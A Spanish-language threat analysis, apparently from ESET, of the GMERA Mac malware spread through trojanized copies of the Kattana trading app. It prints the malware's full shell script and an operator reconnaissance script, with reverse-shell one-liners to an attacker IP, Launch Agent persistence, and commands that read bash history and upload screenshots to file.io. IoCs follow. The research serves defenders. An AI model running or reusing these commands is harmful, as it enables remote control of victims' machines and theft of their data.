Recientemente hemos descubierto sitios web que distribuyen aplicaciones maliciosas para la compra y venta de criptomonedas dirigidas a usuarios de Mac. El malware utilizado tiene como objetivo robar información, como son cookies del navegador, billeteras de criptomonedas y realizar capturas de pantalla. Al analizar las muestras de malware, descubrimos rápidamente que se trataba de una nueva campaña de lo que los investigadores de Trend Micro llamaron GMERA en un análisis que publicaron en septiembre de 2019. Al igual que en las campañas anteriores, el malware reporta a un servidor de C&C a través de HTTP y conecta sesiones de terminal remotas a otro servidor de C&C utilizando una dirección IP hardcodeada. Sin embargo, esta vez los autores del malware no solo envolvieron la amenaza en una aplicación original y legítima, sino que también modificaron el nombre de la aplicación de trading Kattana y realizaron copias de su sitio web original. En este sentido, hemos visto las siguientes marcas ficticias siendo utilizadas en diferentes campañas: Cointrazer, Cupatrade, Licatrade y Trezarus. Además del análisis del código de malware, los investigadores de ESET también establecieron honeypots para tratar de revelar las motivaciones del grupo de ciberdelincuentes detrás de este código malicioso.

Distribución

Todavía no hemos podido encontrar exactamente dónde se promueven estas aplicaciones troyanizadas. Sin embargo, en marzo de 2020, Kattana publicó una advertencia que sugiere que las víctimas fueron abordadas de forma individual con la intención de engañarlas para que descarguen una app troyanizada. No pudimos confirmar que estuviera vinculado a esta campaña en particular, pero bien podría ser el caso.

Figura 1. Kattana advierte sobre las copias troyanizadas de su software a través de Twitter

Los sitios web copiados están configurados para que la descarga de la falsa aplicación parezca legítima. En este sentido, para una persona que no conoce Kattana, los sitios web tienen apariencia legítima.

Figura 2. Sitio web original (legítimo) de Kattana

Figura 3. Sitio web malicioso bajo el nombre de Licatrade que contiene un enlace para la descarga del malware

El botón de descarga en los sitios falsos es un enlace a un archivo ZIP que contiene el paquete de aplicaciones troyanizadas.

Análisis

El análisis de malware en este caso es bastante sencillo. Tomaremos la muestra de Licatrade como el ejemplo aquí. Otras muestras tienen diferencias menores, pero las ideas y funcionalidades son esencialmente las mismas. Análisis similares de anteriores campañas de GMERA fueron proporcionadas en publicaciones de Trend Micro y en el reporte de 2019 de malware para Mac elaborado por Objective-See.

Figura 4. Contenido del paquete de la aplicación Licatrade

Cuando descargamos el archivo, tanto las modificaciones en la marcas de tiempo de los archivos que contiene el archivo ZIP, así como la fecha en la que se firmó la aplicación y la última modificación (Last-Modified) del encabezado HTTP, todas indican como fecha el 15 de abril de 2020. Por lo que todo parece indicar que esta campaña se inició en esa fecha.

Un shell script (run.sh) es incluido dentro de los recursos que contiene el paquete de la aplicación. Este ejecutable principal, escrito en Swift, ejecuta run.sh. Por alguna razón, el autor del malware ha duplicado la funcionalidad para enviar un simple informe a un servidor de C&C a través de HTTP y para conectarse a un host remoto a través de TCP que proporciona una shell remota a los atacantes, tanto en el ejecutable principal como en el script de la shell. Una funcionalidad adicional, solo en el script de la shell, es configurar la persistencia instalando un Launch Agent.

Aquí está la fuente completa del script de la Shell (puntos suspensivos en strings largas y más inofensivas):

#! /bin/bash

function remove_spec_char(){
	echo "$1" | tr -dc '[:alnum:].\r' | tr '[:upper:]' '[:lower:]'
}

whoami="$(remove_spec_char `whoami`)"
ip="$(remove_spec_char `curl -s ipecho.net/plain`)"
req=`curl -ks "http://stepbystepby[.]com/link.php?${whoami}&${ip}"`

plist_text="ZWNobyAnc2R2a21…d2Vpdm5laXZuZSc="
echo "$plist_text" | base64 --decode > "/tmp/.com.apple.system.plist"
cp "/tmp/.com.apple.system.plist" "$HOME/Library/LaunchAgents/.com.apple.system.plist"
launchctl load "/tmp/.com.apple.system.plist"
scre=`screen -d -m bash -c 'bash -i >/dev/tcp/193.37.212[.]97/25733 0>&1'`

 

Es interesante observar que la persistencia se rompe en la muestra de Licatrade: el contenido resultante del archivo Launch Agent (.com.apple.system.plist) no está en formato de lista de propiedades como launchd espera, sino que es la línea de comando para ser ejecutado.

El contenido descodificado (puntos suspensivos en strings largas) de la variable $plist_text es:

echo 'sdvkmsdfmsd…kxweivneivne'; while :; do sleep 10000; screen -X quit; lsof -ti :25733 | xargs kill -9; screen -d -m bash -c 'bash -i >/dev/tcp/193.37.212[.]97/25733 0>&1'; done; echo 'sdvkmsdfmsdfms…nicvmdskxweivneivne'

 

Si se ejecuta directamente, este código abriría una shell inversa desde la máquina víctima a un servidor controlado por el atacante, pero eso falla aquí. Afortunadamente para los atacantes, la última línea del script de la shell también inicia una shell inversa a su servidor.

La muestra Cointrazer, utilizada en campañas anteriores a Licatrade, no sufre este problema: el Launch Agent es instalado y se inicia con éxito cuando el usuario inicia sesión.

Las diversas shells inversas utilizadas por estos operadores de malware se conectan a diferentes puertos remotos dependiendo de cómo se iniciaron. Todas las conexiones están sin cifrado. Aquí hay una lista de puertos, basados en la muestra analizada de Licatrade.

TCP Port Where How
25733 Licatrade executable zsh in screen using ztcp
run.sh bash in screen using /dev/tcp
Launch Agent (Not working) bash in screen using /dev/tcp
25734 Licatrade executable zsh using ztcp
25735 Licatrade executable bash using /dev/tcp
25736 Licatrade executable bash in screen using /dev/tcp
25737 Licatrade executable bash in screen using /dev/tcp
25738 Licatrade executable zsh in screen using ztcp

Aquí hay algunos ejemplos de líneas de comando utilizadas:

  • Bash en pantalla usando /dev/tcp:

screen -d -m bash -c 'bash -i >/dev/tcp/193.37.212[.]97/25733 0>&1'

  • zsh usando ztcp:

zsh -c 'zmodload zsh/net/tcp && ztcp 193.37.212[.]97 25734 && zsh >&$REPLY 2>&$REPLY 0>&$REPLY'

La aplicación de Kattana con otro nombre también se encuentra en los recursos del paquete de la aplicación. Queríamos ver si, además del cambio de nombre e ícono en la aplicación, se cambiaba algún otro código. Dado que Kattana solicita credenciales para que las plataformas de trading realicen operaciones comerciales, verificamos si los campos de entrada de estas se alteraron y si las credenciales se exfiltraron de alguna manera. Kattana está construida con Electron, y las aplicaciones Electron tienen un archivo app.asar, que es un archivo que contiene el código JavaScript de la aplicación. Hemos comprobado todos los cambios entre la aplicación original de Kattana y la copia maliciosa de Licatrade y descubrimos que solo se cambiaron las strings y las imágenes.

Figura 5. Diferencia parcial entre Kattana y Licatrade

Tanto Licatrade como sus recursos fueron firmados utilizando el mismo certificado, donde en el campo nombre figuraba establecido a Andrey Novoselov y utilizando el ID del desarrollador M8WVDT659T. El certificado fue emitido por Apple el 6 de abril de 2020. Fue revocado el mismo día en que notificamos a Apple acerca de esta aplicación maliciosa.

Figura 6. Certificado utilizado para firmar Licatrade

Figura 7. El certificado de Licatrade fue revocado el 28 de mayo de 2020

Para cada una de las otras campañas que analizamos se utilizó un certificado diferente. Ambos ya fueron revocados por Apple al momento en que comenzamos nuestros análisis. Consulte la sección de IoC para obtener detalles sobre estos. Es interesante notar que en el caso de Cointrazer, solo hubo una diferencia de 15 minutos entre el momento en que Apple emitió el certificado y que los actores maliciosos lo utilizaron para firmar su aplicación troyanizada. Esto, y el hecho de que no encontramos nada más firmado con la misma clave, sugiere que obtuvieron el certificado explícitamente para ese propósito.

Infraestructura

La aplicación maliciosa Licatrade estaba disponible en el sitio web licatrade.com y el dominio del servidor C&C al que reporta vía HTTP es stepbystepby.com. Ambos dominios se registraron utilizando la dirección de correo electrónico levistor777@gmail.com. La búsqueda de otros dominios registrados con esa dirección de correo electrónico revela lo que parecerían ser campañas anteriores. Aquí hay una lista de dominios que encontramos en muestras o registrados con esa dirección de correo electrónico.

Domain name Registration date Comment
repbaerray.pw 2019-02-25 C&C server for HTTP report of Stockfolio app
macstockfolio.com 2019-03-03 Website distributing the malicious Stockfolio app
latinumtrade.com 2019-07-25 Website distributing the malicious Latinum app
trezarus.com 2019-06-03 Website distributing the malicious Trezarus app
trezarus.net 2019-08-07 #rowspan#
cointrazer.com 2019-08-18 Website distributing the malicious Cointrazer app
apperdenta.com 2019-08-18 Usage unknown
narudina.com 2019-09-23 Usage unknown
nagsrsdfsudinasa.com 2019-10-09 C&C server for HTTP report of Cointrazer app
cupatrade.com 2020-03-28 Website distributing the malicious Cupatrade app
stepbystepby.com 2020-04-07 C&C server for HTTP report of Licatrade app
licatrade.com 2020-04-13 Website distributing the malicious Licatrade app
creditfinelor.com 2020-05-29 Empty page, usage unknown
maccatreck.com 2020-05-29 Some authentication form

Tanto los sitios web como los servidores HTTP para C&C que reciben el primer informe del malware están alojados detrás de Cloudflare.

Interacciones del honeypot

Para obtener más información sobre las intenciones de este grupo configuramos honeypots desde los cuales monitoreamos todas las interacciones entre las shell inversas de los backdoors de GMERA y los operadores de este malware.

No vimos ningún comando del C&C emitido a través del canal del servidor HTTP C&C. Todo sucedió a través de las shells inversas. Cuando se conectó por primera vez, el servidor de C&C envió un pequeño script para recopilar el nombre de usuario, la versión de macOS y la ubicación (basada en la dirección IP externa) del dispositivo comprometido.

#! /bin/bash
function check() {
        if [ ! -f /private/var/tmp/.i ]; then
        write
    else
        if [ "$(( $(date +"%s") - $(stat -f "%m" /private/var/tmp/.i) ))" -gt "21600" ]; then
                   write
                fi
        fi
}
function write() {
        getit=`curl -s ipinfo.io | grep -e country -e city | sed 's/[^a-zA-Z0-9]//g' | sed -e "s/city//g;s/country//g"`
    echo `whoami` > /private/var/tmp/.i
    echo `sw_vers -productVersion` >> /private/var/tmp/.i
    echo "$getit" >> /private/var/tmp/.i
}
check
cat /private/var/tmp/.i

 

que envió algo como esto a los operadores:

jeremy
10.13.4
Bratislava
SK

 

La conexión TCP permanece abierta y espera más comandos. En nuestro caso, después de un tiempo, los operadores inspeccionaron manualmente la máquina. En varios de nuestros honeypots, los comandos utilizados para realizar esa inspección variaron. Parte de esto era solo listar archivos en todo el sistema de archivos. A veces, habrían copiado y pegado un script codificado en base64 diseñado para enumerar información para revelar si se trata de un honeypot o de un blanco interesante. El script es decodificado y luego canalizado a bash.

Figura 8. Captura del paquete en el que el operador envía el script de reconocimiento secundario codificado en base64

Aquí está el script decodificado:

echo ""
echo "------ Whoami ------"
whoami
echo "------ IP info ------"
curl -s ipinfo.io
echo "------ Mac Model ------"
curl -s https://support-sp.apple.com/sp/product?cc=$(system_profiler SPHardwareDataType | awk '/Serial/ {print $4}' | cut -c 9-) | sed 's|.*<configCode>\(.*\)</configCode>.*|\1|'
echo "------ MacOS Version ------"
sw_vers -productVersion
sw_vers -productVersion | grep -E "10.15.*" && echo -e "\033[1;31m CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA \033[0m"
sleep 1
echo "------ MacOS Installed ------"
date -r /var/db/.AppleSetupDone
echo "------ Disks ------"
df -m
echo "------ Video Output ------"
system_profiler SPDisplaysDataType
echo "------ Wifi Around ------"
/System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport -s
echo "------ Virtual Mashine Detector ------"
ioreg -l | grep -e Manufacturer -e 'Vendor Name' | grep -E "irtual|racle|ware|arallels" || echo "Probably not a Virtual Mashine..."
echo "--------------------------------"
echo "------ Developer Detector ------"
echo "--------------------------------"
echo "||| Applications |||"
ls -laht /Applications | grep -E "Xcode|ublime|ourceTree|Atom|MAMP|TextWrangler|Code|ashcode" && echo "-|Be Carefull|-"
echo "||| Short Bash History |||"
cat ~/.bash_history | head -n 20
echo "------ Desktop Screen ------"
echo "create screenshot..."
sw_vers -productVersion | grep -E "10.15.*" & screencapture -t jpg -x /tmp/screen.jpg &> /dev/null
sips -z 500 800 /tmp/screen.jpg &> /dev/null
sips -s formatOptions 50 /tmp/screen.jpg &> /dev/null
echo "uploading..."
curl -s -F "file=@/tmp/screen.jpg" https://file.io

 

Este script es en realidad muy similar al archivo del plugin encontrado en una de las muestras de Stockfolio analizadas el año pasado. Sin embargo, en las campañas más recientes, eligieron enviar el script de reconocimiento a través de la red solo a víctimas interesantes. También se actualizó para incluir información adicional.

Figura 9. Informe de salida que se vería en el terminal de un operador (reconstruido a partir de la captura de paquetes)

Repasaremos cada sección del script aquí:

  • Obtiene el informe completo sobre la IP externa desde ipinfo.io
  • Comprueba el modelo de Mac utilizando los últimos 4 dígitos del número de serie de Mac y un servicio HTTP proporcionado por Apple para traducirlo a un nombre amigable como "MacBook Pro (Retina, 15 pulgadas, finales de 2013)". Es probable que las máquinas virtuales tengan números de serie no válidos y no muestren un modelo aquí.
  • Proporciona información de la versión de macOS instalada. Hay un rojo bastante grande (usando la secuencia de escape ANSI), todas las mayúsculas advierten cuando la computadora ejecuta macOS Catalina (10.15). Creemos que entendemos por qué y explicamos esto más adelante.
  • Comprueba cuándo se instaló macOS utilizando el tiempo de modificación de /var/db/.AppleSetupDone.
  • Proporciona información sobre el uso del disco y los detalles de los monitores conectados.
  • Enumera las redes Wi-Fi disponibles. Es probable que los Honeypots tengan Wi-Fi desactivado.
  • Detecta si la computadora es una máquina virtual VMware, Parallels o VirtualBox al observar las strings de los proveedores de dispositivos conectados.
  • Comprueba si los editores de texto comunes o las aplicaciones IDE están instalados y advierte a los operadores que "tengan cuidado" (sic) porque esta víctima podría tener más conocimientos informáticos de lo habitual.
  • Obtiene los primeros 20 comandos (es decir, los más antiguos) del archivo del historial de bash.
  • Finalmente, toma una captura de pantalla, la redimensiona y la sube a file.io. Comprueba si el sistema ejecuta macOS Catalina antes de hacerlo, pero un error en el script hace que esta comprobación sea inútil. El operador de control "&", que inicia comandos en paralelo, se usa en lugar del operador lógico AND ("&&"). Esto significa que la captura de pantalla se realiza independientemente de la versión de macOS..

El hecho de que no se debe tomar una captura de pantalla en Catalina y que se mostrará una señal de advertencia obvia en el terminal del operador nos hizo preguntarnos por qué actúan de manera diferente en la versión actual de macOS. Resulta que Catalina agregó una función donde la grabación de la pantalla o la toma de capturas de pantalla debe ser aprobada por el usuario para cada aplicación. Probamos tomar una captura de pantalla de la shell inversa en Catalina y obtuvimos la siguiente advertencia en nuestro sandbox, la cual es bastante sospechosa teniendo en cuenta que una aplicación de trading no tiene por qué mostrar un mensaje como este.

Figura 10. Advertencia en macOS Catalina si los operadores intentan tomar una captura de pantalla

Si un sistema comprometido es considerado interesante, comienza la fase de exfiltración. Los archivos interesantes se comprimen en un archivo ZIP y se cargan a través de HTTP a otro servidor, también bajo el control de los atacantes.

Figura 11. Captura del paquete de un operador utilizando la shell inversa para exfiltrar las cookies del navegador

Es curioso notar aquí que el archivo /tmp/h.zip no existía. Quizás copiaron y pegaron algún comando que se utilizó para otra víctima.

Según la actividad que hemos presenciado, concluimos que algunos de los intereses de los operadores de este malware son:

  • Información del navegador (cookies, historial)
  • Billeteras de criptomonedas
  • Capturas de pantalla

Conclusión

Las numerosas campañas llevadas a cabo por este grupo muestran cuánto esfuerzo han realizado durante el último año para comprometer a los usuarios de Mac realizando trading en línea. Todavía no estamos seguros de cómo alguien se convierte en una víctima y llega a descargar una de las aplicaciones troyanizadas, pero la hipótesis de que los operadores contacten directamente a sus objetivos y los persuadan mediante ingeniería social para que finalmente instalen la aplicación maliciosa parece ser lo más probable.

Es interesante observar cómo la operación de este malware es más limitada en la versión más reciente de macOS. No vimos que los operadores intentaran eludir la limitación que supone la toma de capturas de pantalla. Además, creemos que la única forma en que podrían ver la pantalla de la computadora de una víctima que ejecuta Catalina sería exfiltrar las capturas de pantalla existentes tomadas por la víctima. Este es un buen ejemplo de una implementación de mitigación en el sistema operativo que ha funcionado para limitar las actividades de los malhechores.

Indicadores de Compromiso (IoCs)

Muestras

SHA-1 Filename ESET detection name
2AC42D9A11B67E8AF7B610AA59AADCF1BD5EDE3B Licatrade.zip multiple threats
560071EF47FE5417FFF62CB5C0E33B0757D197FA Licatrade.app/Contents/Resources/run.sh OSX/Agent.BA
4C688493958CC7CCCFCB246E706184DD7E2049CE Licatrade.app/Contents/MacOS/Licatrade OSX/Agent.BA
9C0D839D1F3DA0577A123531E5B4503587D62229 Cointrazer.zip multiple threats
DA1FDA04D4149EBF93756BCEF758EB860D0791B0 Cointrazer.app/Contents/Resources/nytyntrun.sh OSX/Agent.AZ
F6CD98A16E8CC2DD3CA1592D9911489BB20D1380 Cointrazer.app/Contents/MacOS/Cointrazer OSX/Agent.BA
575A43504F79297CBFA900B55C12DC83C2819B46 Stockfolio.zip multiple threats
B8F19B02F9218A8DD803DA1F8650195833057E2C Stockfolio.app/Contents/MacOS/Stockfoli OSX/Agent.AZ
AF65B1A945B517C4D8BAAA706AA19237F036F023 Stockfolio.app/Contents/Resources/run.sh OSX/Agent.AZ

Certificado de firma de código

App name Fingerprint (SHA-1) Developer identity Valid from App signed on Revoked on
Stockfolio E5D2C7FB4A64EAF444728E5C61F576FF178C5EBF Levis Toretto (9T4J9V8NV5) 2018-11-25 2019-04-18 2019-07-26
Cointrazer 1BC8EA284F9CE5F5F68C68531A410BCC1CE54A55 Andrei Sobolev (A265HSB92F) 2019-10-17 2019-10-17 2020-04-16
Licatrade BDBD92BFF8E349452B07E5F1D2883678658404A3 Andrey Novoselov (M8WVDT659T) 2020-04-06 2020-04-15 2020-05-28

Redes

Nombres de dominio

• repbaerray.pw
• macstockfolio.com
• latinumtrade.com
• trezarus.com
• trezarus.net
• cointrazer.com
• apperdenta.com
• narudina.com
• nagsrsdfsudinasa.com
• cupatrade.com
• stepbystepby.com
• licatrade.com
• creditfinelor.com
• maccatreck.com

Direcciones IP

• 85.209.88.123
• 85.217.171.87
• 193.37.214.7
• 193.37.212.97

Indicadores basados en host

Rutas de archivo 

• $HOME/Library/LaunchAgents/.com.apple.upd.plist
• $HOME/Library/LaunchAgents/.com.apple.system.plist
• /tmp/.fil.sh
• /tmp/loglog

Launch Agent 

• com.apple.apps.upd
• com.apples.apps.upd

Técnicas de MITRE ATT&CK

Tactic ID Name Description
Execution T1204 User Execution Victim needs to run the malicious application to be compromised.
T1059 Command-Line Interface GMERA provides reverse bash and zsh shells to its operators.
Persistence T1159 Launch Agent GMERA installs a Launch Agent to maintain persistence.
Defense Evasion T1116 Code Signing All samples of GMERA we have analyzed were signed and used valid, Apple-signed (now revoked), certificates.
Credential Access T1139 Bash History A GMERA reconnaissance script lists the first 20 lines of the .bash_history file.
T1539 Steal Web Session Cookie GMERA’s operators steal browser cookies via a reverse shell.
Discovery T1083 File and Directory Discovery GMERA’s operators list files on the target system via a reverse shell and ls .
T1497 Virtualization/Sandbox Evasion A GMERA reconnaissance script checks for devices specific to hypervisors and warns the operators if run in a virtual machine.
T1040 Network Sniffing A GMERA reconnaissance script lists Wi-Fi networks available to the compromised Mac using airport -s .
T1082 System Information Discovery A GMERA reconnaissance script lists information about the system such as macOS version, attached displays and Mac model.
T1518 Software Discovery A GMERA reconnaissance script checks whether developer tools are installed.
Collection T1005 Data from Local System GMERA’s operators use this malware to exfiltrate files from the compromised system.
T1113 Screen Capture GMERA’s operators take screenshots of the compromised system and exfiltrate them through file.io.
Command and Control T1043 Commonly Used Port Initial reporting from the malware is done using HTTP on its standard TCP port (80).
T1065 Uncommonly Used Port GMERA reverse shells are opened by connecting to C&C server TCP ports in the range 25733 to 25738.
Exfiltration T1048 Exfiltration Over Alternative Protocol GMERA exfiltrates files from the reverse shell using HTTP to another attacker-controlled server.